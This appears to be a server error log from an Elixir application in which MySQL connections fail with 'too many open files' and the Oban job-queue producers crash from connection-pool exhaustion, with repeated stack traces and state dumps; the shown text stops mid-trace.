[Sat Sep  5 23:30:44.198000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:46.681000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:47.628000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:48.654000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:49.061000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:49.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 882ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:30:37.245121Z], limit: 10, uuid: "bd30062e-0186-4eaa-a2f6-f9a6bb707ad5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:37.245126Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.11253>, refresh_timer: #Reference<0.2525715032.1068498948.11233>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:49.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1049ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:30:37.242271Z], limit: 50, uuid: "7dcddfad-5312-499f-9110-95feb4c38447", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:37.242278Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.11256>, refresh_timer: #Reference<0.2525715032.1099431938.19757>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:49.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1015ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:30:37.242704Z], limit: 5, uuid: "7ba28bd8-5182-44a5-a75d-afc317533889", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:37.242709Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.11255>, refresh_timer: #Reference<0.2525715032.1099431938.19759>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:49.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 879ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:30:37.244435Z], limit: 5, uuid: "42c1294f-4e88-4884-af4d-f1dd6ec2ad63", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:37.244440Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.11254>, refresh_timer: #Reference<0.2525715032.1121189889.118933>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:49.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 803ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:30:37.242523Z], limit: 3, uuid: "273cd480-0c90-4feb-9256-f6066b4ac6fe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:37.242528Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.11257>, refresh_timer: #Reference<0.2525715032.1099431938.19758>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:49.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 999ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:30:37.245145Z], limit: 20, uuid: "5ee7e8e0-cec2-4724-b1ac-467a4b2af0d2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:37.245151Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.11252>, refresh_timer: #Reference<0.2525715032.1068498948.11236>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:50.362000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:52.048000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:56.002000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:56.627000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:00.478000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:00.614000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:00.918000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:31:01.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 857ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:30:49.242859Z], limit: 20, uuid: "6dcd8c30-c2a0-45e7-abf1-867d6793c714", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:49.242864Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.119143>, refresh_timer: #Reference<0.2525715032.1121189889.119131>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:01.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 844ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:30:49.239437Z], limit: 50, uuid: "4d13b9fb-fb33-434b-9f28-dea23b08d1bc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:49.239443Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.119145>, refresh_timer: #Reference<0.2525715032.1099431938.19911>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:31:01.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1063ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
